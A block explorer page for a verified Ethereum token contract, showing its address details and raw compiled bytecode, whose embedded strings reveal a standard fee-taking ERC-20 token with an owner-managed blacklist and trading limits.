Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xcD53bEa9fb20c9a1789Ee1Dc6F5C3413bC47AdF0
Balance 0 ETH
Nonce 1
Code Size 16274 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

16274 bytes
0x60806040526004361061021d575f3560e01c8063715018a611610122578063c8c8ebe4116100aa578063e2f456051161006e578063e2f456051461074e578063f2fde38b14610778578063f8b45b05146107a0578063fe575a87146107ca578063ffb54a991461080657610224565b8063c8c8ebe4146106a6578063c9567bf9146106d0578063cf88ef7b146106e6578063dd62ed3e146106fc578063df6d92121461073857610224565b806395d89b41116100f157806395d89b41146105c6578063a9059cbb146105f0578063bc063e1a1461062c578063c024666814610656578063c43155691461067e57610224565b8063715018a614610548578063751039fc1461055e5780637571336a146105745780638da5cb5b1461059c57610224565b806347062402116101a5578063537df3b611610174578063537df3b61461047a578063583e0568146104a2578063692b1c89146104cc5780636ddd1713146104e257806370a082311461050c57610224565b806347062402146103c257806349bd5a5e146103ec5780634fbee1931461041657806352f7c9881461045257610224565b80632b14ca56116101ec5780632b14ca56146102f4578063311028af1461031e578063313ce56714610348578063340136f81461037257806344337ea11461039a57610224565b806306fdde0314610228578063095ea7b31461025257806318160ddd1461028e57806323b872dd146102b857610224565b3661022457005b5f80fd5b348015610233575f80fd5b5061023c610830565b6040516102499190612c8b565b60405180910390f35b34801561025d575f80fd5b5061027860048036038101906102739190612d40565b6108c0565b6040516102859190612d98565b60405180910390f35b348015610299575f80fd5b506102a26108e2565b6040516102af9190612dc0565b60405180910390f35b3480156102c3575f80fd5b506102de60048036038101906102d99190612dd9565b6108eb565b6040516102eb9190612d98565b60405180910390f35b3480156102ff575f80fd5b50610308610919565b6040516103159190612dc0565b60405180910390f35b348015610329575f80fd5b5061033261091f565b60405161033f9190612dc0565b60405180910390f35b348015610353575f80fd5b5061035c610925565b6040516103699190612e44565b60405180910390f35b34801561037d575f80fd5b5061039860048036038101906103939190612ebe565b61092d565b005b3480156103a5575f80fd5b506103c060048036038101906103bb9190612f09565b610b0c565b005b3480156103cd575f80fd5b506103d6610c99565b6040516103e39190612dc0565b60405180910390f35b3480156103f7575f80fd5b50610400610c9f565b60405161040d9190612f43565b60405180910390f35b348015610421575f80fd5b5061043c60048036038101906104379190612f09565b610cc4565b6040516104499190612d98565b60405180910390f35b34801561045d575f80fd5b5061047860048036038101906104739190612f5c565b610d16565b005b348015610485575f80fd5b506104a0600480360381019061049b9190612f09565b610db8565b005b3480156104ad575f80fd5b506104b661105d565b6040516104c39190612ff5565b60405180910390f35b3480156104d7575f80fd5b506104e0611081565b005b3480156104ed575f80fd5b506104f66112a8565b6040516105039190612d98565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190612f09565b6112bb565b60405161053f9190612dc0565b60405180910390f35b348015610553575f80fd5b5061055c611300565b005b348015610569575f80fd5b50610572611313565b005b34801561057f575f80fd5b5061059a60048036038101906105959190613038565b61132f565b005b3480156105a7575f80fd5b506105b061138f565b6040516105bd9190612f43565b60405180910390f35b3480156105d1575f80fd5b506105da6113b7565b6040516105e79190612c8b565b60405180910390f35b3480156105fb575f80fd5b5061061660048036038101906106119190612d40565b611447565b6040516106239190612d98565b60405180910390f35b348015610637575f80fd5b50610640611469565b60405161064d9190612dc0565b60405180910390f35b348015610661575f80fd5b5061067c60048036038101906106779190613038565b61146e565b005b348015610689575f80fd5b506106a4600480360381019061069f9190613076565b61151c565b005b3480156106b1575f80fd5b506106ba6115b0565b6040516106c79190612dc0565b60405180910390f35b3480156106db575f80fd5b506106e46115b6565b005b3480156106f1575f80fd5b506106fa6115f5565b005b348015610707575f80fd5b50610722600480360381019061071d91906130a1565b61168f565b60405161072f9190612dc0565b60405180910390f35b348015610743575f80fd5b5061074c611711565b005b348015610759575f80fd5b506107626117f8565b60405161076f9190612dc0565b60405180910390f35b348015610783575f80fd5b5061079e60048036038101906107999190612f09565b6117fe565b005b3480156107ab575f80fd5b506107b4611880565b6040516107c19190612dc0565b60405180910390f35b3480156107d5575f80fd5b506107f060048036038101906107eb9190612f09565b611886565b6040516107fd9190612d98565b60405180910390f35b348015610811575f80fd5b5061081a6118d8565b6040516108279190612d98565b60405180910390f35b60606003805461083f9061310c565b80601f016020809104026020016040519081016040528092919081815260200182805461086b9061310c565b80156108b65780601f1061088d576101008083540402835291602001916108b6565b820191905f5260205f20905b81548152906001019060200180831161089957829003601f168201915b5050505050905090565b5f806108ca6118ea565b90506108d78185856118f1565b600191505092915050565b5f600254905090565b5f806108f56118ea565b9050610902858285611ab4565b61090d858585611b3f565b60019150509392505050565b600c5481565b600a5481565b5f6009905090565b610935612584565b5f828290501161097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190613186565b60405180910390fd5b5f5b82829050811015610b07575f83838381811061099b5761099a6131a4565b5b90506020020160208101906109b09190612f09565b905060165f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610af957600160165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600981908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fdaf49ab9345b6cb75bcb5a7f726bff9183c34dcf5c098c385730f9fd893765f660405160405180910390a25b50808060010191505061097c565b505050565b610b14612584565b60165f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b959061321b565b60405180910390fd5b600160165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600981908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fdaf49ab9345b6cb75bcb5a7f726bff9183c34dcf5c098c385730f9fd893765f660405160405180910390a250565b600b5481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60135f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610d1e612584565b6014821115610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990613283565b60405180910390fd5b6014811115610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d906132eb565b60405180910390fd5b80600c8190555081600b819055505050565b610dc0612584565b60165f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610e49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4090613353565b60405180910390fd5b5f60165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f5b600980549050811015611016578173ffffffffffffffffffffffffffffffffffffffff1660098281548110610ed757610ed66131a4565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036110095760096001600980549050610f2e919061339e565b81548110610f3f57610f3e6131a4565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660098281548110610f7b57610f7a6131a4565b5b905f5260205f20015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009805480610fd257610fd16133d1565b5b600190038181905f5260205f20015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611016565b8080600101915050610e9f565b508073ffffffffffffffffffffffffffffffffffffffff167f5339e76deb16eade3efd8544d1f683635ff55e3866c7a2fae6aee23211cd5f0360405160405180910390a250565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b611089612584565b60125f9054906101000a900460ff16156110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cf90613448565b60405180910390fd5b611105307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d600a546118f1565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719473061114c306112bb565b5f8073178184c89a95804a50093ceeb4d996dc00ea8566426040518863ffffffff1660e01b81526004016111859695949392919061349f565b60606040518083038185885af11580156111a1573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906111c69190613512565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611265929190613562565b6020604051808303815f875af1158015611281573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a5919061359d565b50565b601260019054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b611308612584565b6113115f612602565b565b61131b612584565b600a54600e81905550600a54600d81905550565b611337612584565b8060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546113c69061310c565b80601f01602080910402602001604051908101604052809291908181526020018280546113f29061310c565b801561143d5780601f106114145761010080835404028352916020019161143d565b820191905f5260205f20905b81548152906001019060200180831161142057829003601f168201915b5050505050905090565b5f806114516118ea565b905061145e818585611b3f565b600191505092915050565b601481565b611476612584565b8060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516115109190612d98565b60405180910390a25050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661155c6118ea565b73ffffffffffffffffffffffffffffffffffffffff161461157b575f80fd5b5f611585306112bb565b90505f6064838361159691906135c8565b6115a09190613636565b90506115ab816126c5565b505050565b600e5481565b6115be612584565b6001601260016101000a81548160ff021916908315150217905550600160125f6101000a81548160ff021916908315150217905550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116356118ea565b73ffffffffffffffffffffffffffffffffffffffff1614611654575f80fd5b5f61165e306112bb565b905061168c3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611b3f565b50565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f4711611753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174a906136b0565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117936118ea565b73ffffffffffffffffffffffffffffffffffffffff16146117b2575f80fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156117f5573d5f803e3d5ffd5b50565b60105481565b611806612584565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186b9061373e565b60405180910390fd5b61187d81612602565b50565b600d5481565b5f60165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60125f9054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361195f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611956906137cc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c49061385a565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611aa79190612dc0565b60405180910390a3505050565b5f611abf848461168f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611b395781811015611b2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b22906138c2565b60405180910390fd5b611b3884848484036118f1565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba490613950565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c12906139de565b60405180910390fd5b60165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9c90613a46565b60405180910390fd5b60165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2690613aae565b60405180910390fd5b5f8103611d4657611d4183835f612919565b61257f565b611d4e61138f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dbc5750611d8c61138f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611df457505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2e575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e465750600f5f9054906101000a900460ff16155b156122135760125f9054906101000a900460ff16611f395760135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611ef9575060135f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2f90613b16565b60405180910390fd5b5b60155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611fd6575060145f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561207d57600e54811115612020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201790613ba4565b60405180910390fd5b600d5461202c836112bb565b826120379190613bc2565b1115612078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206f90613c3f565b60405180910390fd5b612212565b60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561211a575060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561216957600e54811115612164576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215b90613ccd565b60405180910390fd5b612211565b60145f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661221057600d546121c3836112bb565b826121ce9190613bc2565b111561220f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220690613c3f565b60405180910390fd5b5b5b5b5b5f61221d306112bb565b90505f601054821190508080156122405750601260019054906101000a900460ff165b80156122585750600f5f9054906101000a900460ff16155b80156122ab575060155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156122fe575060135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612351575060135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612393576001600f5f6101000a81548160ff02191690831515021790555061237983612b85565b5f600f5f6101000a81548160ff0219169083151502179055505b5f600f5f9054906101000a900460ff161580156123f7575060135f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561244a575060135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90505f811561256f5760155f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156124d1576124ca60646124bc600c5488612bcd90919063ffffffff16565b612be290919063ffffffff16565b905061254c565b60155f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561254b57612548606461253a600b5488612bcd90919063ffffffff16565b612be290919063ffffffff16565b90505b5b5f8111156125605761255f873083612919565b5b808561256c919061339e565b94505b61257a878787612919565b505050505b505050565b61258c6118ea565b73ffffffffffffffffffffffffffffffffffffffff166125aa61138f565b73ffffffffffffffffffffffffffffffffffffffff1614612600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f790613d35565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600267ffffffffffffffff8111156126e1576126e0613d53565b5b60405190808252806020026020018201604052801561270f5781602001602082028036833780820191505090505b50905030815f81518110612726576127256131a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156127c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906127ed9190613d94565b81600181518110612801576128006131a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612866307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846118f1565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016128e8959493929190613e76565b5f604051808303815f87803b1580156128ff575f80fd5b505af1158015612911573d5f803e3d5ffd5b505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161297e90613950565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036129f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ec906139de565b60405180910390fd5b612a00838383612bf7565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7a90613f3e565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b6c9190612dc0565b60405180910390a3612b7f848484612bfc565b50505050565b5f612b8f306112bb565b90505f8103612b9e5750612bca565b5f819050601054811115612bb25760105490505b82811115612bbe578290505b612bc7816126c5565b50505b50565b5f8183612bda91906135c8565b905092915050565b5f8183612bef9190613636565b905092915050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612c38578082015181840152602081019050612c1d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612c5d82612c01565b612c678185612c0b565b9350612c77818560208601612c1b565b612c8081612c43565b840191505092915050565b5f6020820190508181035f830152612ca38184612c53565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612cdc82612cb3565b9050919050565b612cec81612cd2565b8114612cf6575f80fd5b50565b5f81359050612d0781612ce3565b92915050565b5f819050919050565b612d1f81612d0d565b8114612d29575f80fd5b50565b5f81359050612d3a81612d16565b92915050565b5f8060408385031215612d5657612d55612cab565b5b5f612d6385828601612cf9565b9250506020612d7485828601612d2c565b9150509250929050565b5f8115159050919050565b612d9281612d7e565b82525050565b5f602082019050612dab5f830184612d89565b92915050565b612dba81612d0d565b82525050565b5f602082019050612dd35f830184612db1565b92915050565b5f805f60608486031215612df057612def612cab565b5b5f612dfd86828701612cf9565b9350506020612e0e86828701612cf9565b9250506040612e1f86828701612d2c565b9150509250925092565b5f60ff82169050919050565b612e3e81612e29565b82525050565b5f602082019050612e575f830184612e35565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612e7e57612e7d612e5d565b5b8235905067ffffffffffffffff811115612e9b57612e9a612e61565b5b602083019150836020820283011115612eb757612eb6612e65565b5b9250929050565b5f8060208385031215612ed457612ed3612cab565b5b5f83013567ffffffffffffffff811115612ef157612ef0612caf565b5b612efd85828601612e69565b92509250509250929050565b5f60208284031215612f1e57612f1d612cab565b5b5f612f2b84828501612cf9565b91505092915050565b612f3d81612cd2565b82525050565b5f602082019050612f565f830184612f34565b92915050565b5f8060408385031215612f7257612f71612cab565b5b5f612f7f85828601612d2c565b9250506020612f9085828601612d2c565b9150509250929050565b5f819050919050565b5f612fbd612fb8612fb384612cb3565b612f9a565b612cb3565b9050919050565b5f612fce82612fa3565b9050919050565b5f612fdf82612fc4565b9050919050565b612fef81612fd5565b82525050565b5f6020820190506130085f830184612fe6565b92915050565b61301781612d7e565b8114613021575f80fd5b50565b5f813590506130328161300e565b92915050565b5f806040838503121561304e5761304d612cab565b5b5f61305b85828601612cf9565b925050602061306c85828601613024565b9150509250929050565b5f6020828403121561308b5761308a612cab565b5b5f61309884828501612d2c565b91505092915050565b5f80604083850312156130b7576130b6612cab565b5b5f6130c485828601612cf9565b92505060206130d585828601612cf9565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061312357607f821691505b602082108103613136576131356130df565b5b50919050565b7f4e6f206164647265737365732070726f766964656400000000000000000000005f82015250565b5f613170601583612c0b565b915061317b8261313c565b602082019050919050565b5f6020820190508181035f83015261319d81613164565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4164647265737320616c726561647920626c61636b6c697374656400000000005f82015250565b5f613205601b83612c0b565b9150613210826131d1565b602082019050919050565b5f6020820190508181035f830152613232816131f9565b9050919050565b7f4275792066656520746f6f2068696768000000000000000000000000000000005f82015250565b5f61326d601083612c0b565b915061327882613239565b602082019050919050565b5f6020820190508181035f83015261329a81613261565b9050919050565b7f53656c6c2066656520746f6f20686967680000000000000000000000000000005f82015250565b5f6132d5601183612c0b565b91506132e0826132a1565b602082019050919050565b5f6020820190508181035f830152613302816132c9565b9050919050565b7f41646472657373206e6f7420626c61636b6c69737465640000000000000000005f82015250565b5f61333d601783612c0b565b915061334882613309565b602082019050919050565b5f6020820190508181035f83015261336a81613331565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6133a882612d0d565b91506133b383612d0d565b92508282039050818111156133cb576133ca613371565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603160045260245ffd5b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f613432601783612c0b565b915061343d826133fe565b602082019050919050565b5f6020820190508181035f83015261345f81613426565b9050919050565b5f819050919050565b5f61348961348461347f84613466565b612f9a565b612d0d565b9050919050565b6134998161346f565b82525050565b5f60c0820190506134b25f830189612f34565b6134bf6020830188612db1565b6134cc6040830187613490565b6134d96060830186613490565b6134e66080830185612f34565b6134f360a0830184612db1565b979650505050505050565b5f8151905061350c81612d16565b92915050565b5f805f6060848603121561352957613528612cab565b5b5f613536868287016134fe565b9350506020613547868287016134fe565b9250506040613558868287016134fe565b9150509250925092565b5f6040820190506135755f830185612f34565b6135826020830184612db1565b9392505050565b5f815190506135978161300e565b92915050565b5f602082840312156135b2576135b1612cab565b5b5f6135bf84828501613589565b91505092915050565b5f6135d282612d0d565b91506135dd83612d0d565b92508282026135eb81612d0d565b9150828204841483151761360257613601613371565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61364082612d0d565b915061364b83612d0d565b92508261365b5761365a613609565b5b828204905092915050565b7f546f6b656e3a206e6f2045544820696e2074686520636f6e74726163740000005f82015250565b5f61369a601d83612c0b565b91506136a582613666565b602082019050919050565b5f6020820190508181035f8301526136c78161368e565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613728602683612c0b565b9150613733826136ce565b604082019050919050565b5f6020820190508181035f8301526137558161371c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6137b6602483612c0b565b91506137c18261375c565b604082019050919050565b5f6020820190508181035f8301526137e3816137aa565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613844602283612c0b565b915061384f826137ea565b604082019050919050565b5f6020820190508181035f83015261387181613838565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6138ac601d83612c0b565b91506138b782613878565b602082019050919050565b5f6020820190508181035f8301526138d9816138a0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61393a602583612c0b565b9150613945826138e0565b604082019050919050565b5f6020820190508181035f8301526139678161392e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6139c8602383612c0b565b91506139d38261396e565b604082019050919050565b5f6020820190508181035f8301526139f5816139bc565b9050919050565b7f53656e64657220697320626c61636b6c697374656400000000000000000000005f82015250565b5f613a30601583612c0b565b9150613a3b826139fc565b602082019050919050565b5f6020820190508181035f830152613a5d81613a24565b9050919050565b7f526563697069656e7420697320626c61636b6c697374656400000000000000005f82015250565b5f613a98601883612c0b565b9150613aa382613a64565b602082019050919050565b5f6020820190508181035f830152613ac581613a8c565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f613b00601683612c0b565b9150613b0b82613acc565b602082019050919050565b5f6020820190508181035f830152613b2d81613af4565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f613b8e603583612c0b565b9150613b9982613b34565b604082019050919050565b5f6020820190508181035f830152613bbb81613b82565b9050919050565b5f613bcc82612d0d565b9150613bd783612d0d565b9250828201905080821115613bef57613bee613371565b5b92915050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613c29601383612c0b565b9150613c3482613bf5565b602082019050919050565b5f6020820190508181035f830152613c5681613c1d565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f613cb7603683612c0b565b9150613cc282613c5d565b604082019050919050565b5f6020820190508181035f830152613ce481613cab565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613d1f602083612c0b565b9150613d2a82613ceb565b602082019050919050565b5f6020820190508181035f830152613d4c81613d13565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050613d8e81612ce3565b92915050565b5f60208284031215613da957613da8612cab565b5b5f613db684828501613d80565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613df181612cd2565b82525050565b5f